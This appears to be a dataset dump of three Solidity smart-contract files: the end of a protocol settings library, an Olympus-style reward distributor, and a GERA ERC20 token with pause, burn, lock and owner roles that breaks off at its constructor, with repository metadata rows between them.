require(ratio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, ratio);
}
function setTradingRewardsEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bool _tradingRewardsEnabled) external {
flexibleStorage.setBoolValue(SETTINGS_CONTRACT_NAME, settingName, _tradingRewardsEnabled);
}
function setWaitingPeriodSecs(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _waitingPeriodSecs) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _waitingPeriodSecs);
}
function setPriceDeviationThresholdFactor(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _priceDeviationThresholdFactor) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _priceDeviationThresholdFactor);
}
function setFeePeriodDuration(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _feePeriodDuration) external {
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "value < MIN_FEE_PERIOD_DURATION");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "value > MAX_FEE_PERIOD_DURATION");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _feePeriodDuration);
}
function setTargetThreshold(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint percent) external returns (uint threshold) {
require(percent <= MAX_TARGET_THRESHOLD, "Threshold too high");
threshold = percent.mul(SafeDecimalMath.unit()).div(100);
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, threshold);
}
function setLiquidationDelay(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint time) external {
require(time <= MAX_LIQUIDATION_DELAY, "Must be less than MAX_LIQUIDATION_DELAY");
require(time >= MIN_LIQUIDATION_DELAY, "Must be greater than MIN_LIQUIDATION_DELAY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, time);
}
function setLiquidationRatio(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _liquidationRatio,
uint getSnxLiquidationPenalty,
uint getIssuanceRatio) external {
require(_liquidationRatio <= MAX_LIQUIDATION_RATIO.divideDecimal(SafeDecimalMath.unit().add(getSnxLiquidationPenalty)),
"liquidationRatio > MAX_LIQUIDATION_RATIO / (1 + penalty)");
// MIN_LIQUIDATION_RATIO is a product of target issuance ratio * RATIO_FROM_TARGET_BUFFER
uint MIN_LIQUIDATION_RATIO = getIssuanceRatio.multiplyDecimal(RATIO_FROM_TARGET_BUFFER);
require(_liquidationRatio >= MIN_LIQUIDATION_RATIO, "liquidationRatio < MIN_LIQUIDATION_RATIO");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _liquidationRatio);
}
function setLiquidationEscrowDuration(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint duration) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, duration);
}
function setSnxLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
// MAX_LIQUIDATION_PENALTY is enforced on both Collateral and HAKA liquidations
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setSelfLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setFlagReward(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint reward) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, reward);
}
function setLiquidateReward(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint reward) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, reward);
}
function setRateStalePeriod(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint period) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, period);
}
function setExchangeFeeRateForTribes(IFlexibleStorage flexibleStorage,
bytes32 settingExchangeFeeRate,
bytes32[] calldata tribeKeys,
uint256[] calldata exchangeFeeRates) external {
require(tribeKeys.length == exchangeFeeRates.length, "Array lengths dont match");
for (uint i = 0; i < tribeKeys.length; i++) {
require(exchangeFeeRates[i] <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingExchangeFeeRate, tribeKeys[i])),
exchangeFeeRates[i]);
}
}
function setMinimumStakeTime(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _seconds) external {
require(_seconds <= MAX_MINIMUM_STAKE_TIME, "stake time exceed maximum 1 week");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _seconds);
}
function setDebtSnapshotStaleTime(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _seconds) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _seconds);
}
function setAggregatorWarningFlags(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _flags) external {
require(_flags != address(0), "Valid address must be given");
flexibleStorage.setAddressValue(SETTINGS_CONTRACT_NAME, settingName, _flags);
}
function setEtherWrapperMaxETH(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _maxETH) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _maxETH);
}
function setEtherWrapperMintFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _rate) external {
require(_rate <= uint(MAX_WRAPPER_MINT_FEE_RATE), "rate > MAX_WRAPPER_MINT_FEE_RATE");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _rate);
}
function setEtherWrapperBurnFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _rate) external {
require(_rate <= uint(MAX_WRAPPER_BURN_FEE_RATE), "rate > MAX_WRAPPER_BURN_FEE_RATE");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _rate);
}
function setWrapperMaxTokenAmount(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
uint _maxTokenAmount) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _wrapper)),
_maxTokenAmount);
}
function setWrapperMintFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
int _rate,
int getWrapperBurnFeeRate) external {
require(_rate <= MAX_WRAPPER_MINT_FEE_RATE, "rate > MAX_WRAPPER_MINT_FEE_RATE");
require(_rate >= -MAX_WRAPPER_MINT_FEE_RATE, "rate < -MAX_WRAPPER_MINT_FEE_RATE");
// if mint rate is negative, burn fee rate should be positive and at least equal in magnitude
// otherwise risk of flash loan attack
if (_rate < 0) {
require(-_rate <= getWrapperBurnFeeRate, "-rate > wrapperBurnFeeRate");
}
flexibleStorage.setIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _wrapper)), _rate);
}
function setWrapperBurnFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
int _rate,
int getWrapperMintFeeRate) external {
require(_rate <= MAX_WRAPPER_BURN_FEE_RATE, "rate > MAX_WRAPPER_BURN_FEE_RATE");
require(_rate >= -MAX_WRAPPER_BURN_FEE_RATE, "rate < -MAX_WRAPPER_BURN_FEE_RATE");
// if burn rate is negative, burn fee rate should be negative and at least equal in magnitude
// otherwise risk of flash loan attack
if (_rate < 0) {
require(-_rate <= getWrapperMintFeeRate, "-rate > wrapperMintFeeRate");
}
flexibleStorage.setIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _wrapper)), _rate);
}
function setInteractionDelay(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _collateral,
uint _interactionDelay) external {
require(_interactionDelay <= SafeDecimalMath.unit() * 3600, "Max 1 hour");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _collateral)),
_interactionDelay);
}
function setCollapseFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _collateral,
uint _collapseFeeRate) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _collateral)),
_collapseFeeRate);
}
function setAtomicMaxVolumePerBlock(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _maxVolume) external {
require(_maxVolume <= MAX_ATOMIC_VOLUME_PER_BLOCK, "Atomic max volume exceed maximum uint192");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _maxVolume);
}
function setAtomicTwapWindow(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _window) external {
require(_window >= MIN_ATOMIC_TWAP_WINDOW, "Atomic twap window under minimum 1 min");
require(_window <= MAX_ATOMIC_TWAP_WINDOW, "Atomic twap window exceed maximum 1 day");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _window);
}
function setAtomicEquivalentForDexPricing(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
address _equivalent) external {
require(_equivalent != address(0), "Atomic equivalent is 0 address");
flexibleStorage.setAddressValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_equivalent);
}
function setAtomicExchangeFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _exchangeFeeRate) external {
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_exchangeFeeRate);
}
function setAtomicVolatilityConsiderationWindow(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _window) external {
if (_window != 0) {
require(_window >= MIN_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW,
"Atomic volatility consideration window under minimum 1 min");
require(_window <= MAX_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW,
"Atomic volatility consideration window exceed maximum 1 day");
}
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_window);
}
function setAtomicVolatilityUpdateThreshold(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _threshold) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_threshold);
}
function setPureChainlinkPriceForAtomicSwapsEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
bool _enabled) external {
flexibleStorage.setBoolValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_enabled);
}
function setCrossChainTribeTransferEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _value) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _currencyKey)), _value);
}
function setExchangeMaxDynamicFee(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint maxFee) external {
require(maxFee != 0, "Max dynamic fee cannot be 0");
require(maxFee <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, maxFee);
}
}
| 49,285 | 338 |
c644a8a5d44c7a783cd9c701709349a46caa1834547de1929d8c0e2f98bf7429
| 18,237 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8d/8D5cD5d0FEC656C71fBE968f29C96090771Ff30f_Distributor.sol
| 4,001 | 15,820 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable DB;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _db, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_db != address(0));
DB = _db;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(DB).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
function resetNextEpochTime(uint32 _nextEpochTime) external onlyPolicy() {
nextEpochTime = _nextEpochTime;
}
}
| 100,461 | 339 |
268736c424da6390f0a459f8d341eb3e24d8931896056571eb2058277ef78fff
| 25,823 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/63/634268509ca98ce27db542633e86824337c8e488_GERA.sol
| 2,672 | 11,380 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract Ownable is Context {
address private _hiddenOwner;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event HiddenOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
_hiddenOwner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
emit HiddenOwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function hiddenOwner() public view returns (address) {
return _hiddenOwner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyHiddenOwner() {
require(_hiddenOwner == _msgSender(), "Ownable: caller is not the hidden owner");
_;
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function _transferHiddenOwnership(address newHiddenOwner) internal {
require(newHiddenOwner != address(0), "Ownable: new hidden owner is the zero address");
emit HiddenOwnershipTransferred(_owner, newHiddenOwner);
_hiddenOwner = newHiddenOwner;
}
}
abstract contract Burnable is Context {
mapping(address => bool) private _burners;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
function isBurner(address account) public view returns (bool) {
return _burners[account];
}
modifier onlyBurner() {
require(_burners[_msgSender()], "Ownable: caller is not the burner");
_;
}
function _addBurner(address account) internal {
_burners[account] = true;
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners[account] = false;
emit BurnerRemoved(account);
}
}
contract Lockable is Context {
mapping(address => bool) private _lockers;
mapping(address => bool) private _locks;
event LockerAdded(address indexed account);
event LockerRemoved(address indexed account);
event Locked(address indexed account);
event Unlocked(address indexed account);
modifier onlyLocker {
require(_lockers[_msgSender()], "Lockable: caller is not the locker");
_;
}
function isLocker(address account) public view returns (bool) {
return _lockers[account];
}
function _addLocker(address account) internal {
_lockers[account] = true;
emit LockerAdded(account);
}
function _removeLocker(address account) internal {
_lockers[account] = false;
emit LockerRemoved(account);
}
function isLocked(address account) public view returns (bool) {
return _locks[account];
}
function _lock(address account) internal {
_locks[account] = true;
emit Locked(account);
}
function _unlock(address account) internal {
_locks[account] = false;
emit Unlocked(account);
}
}
contract GERA is Pausable, Ownable, Burnable, Lockable, ERC20 {
uint256 private constant _initialSupply = 8_800_000_000e18;
constructor() ERC20("Gera", "GERA") {
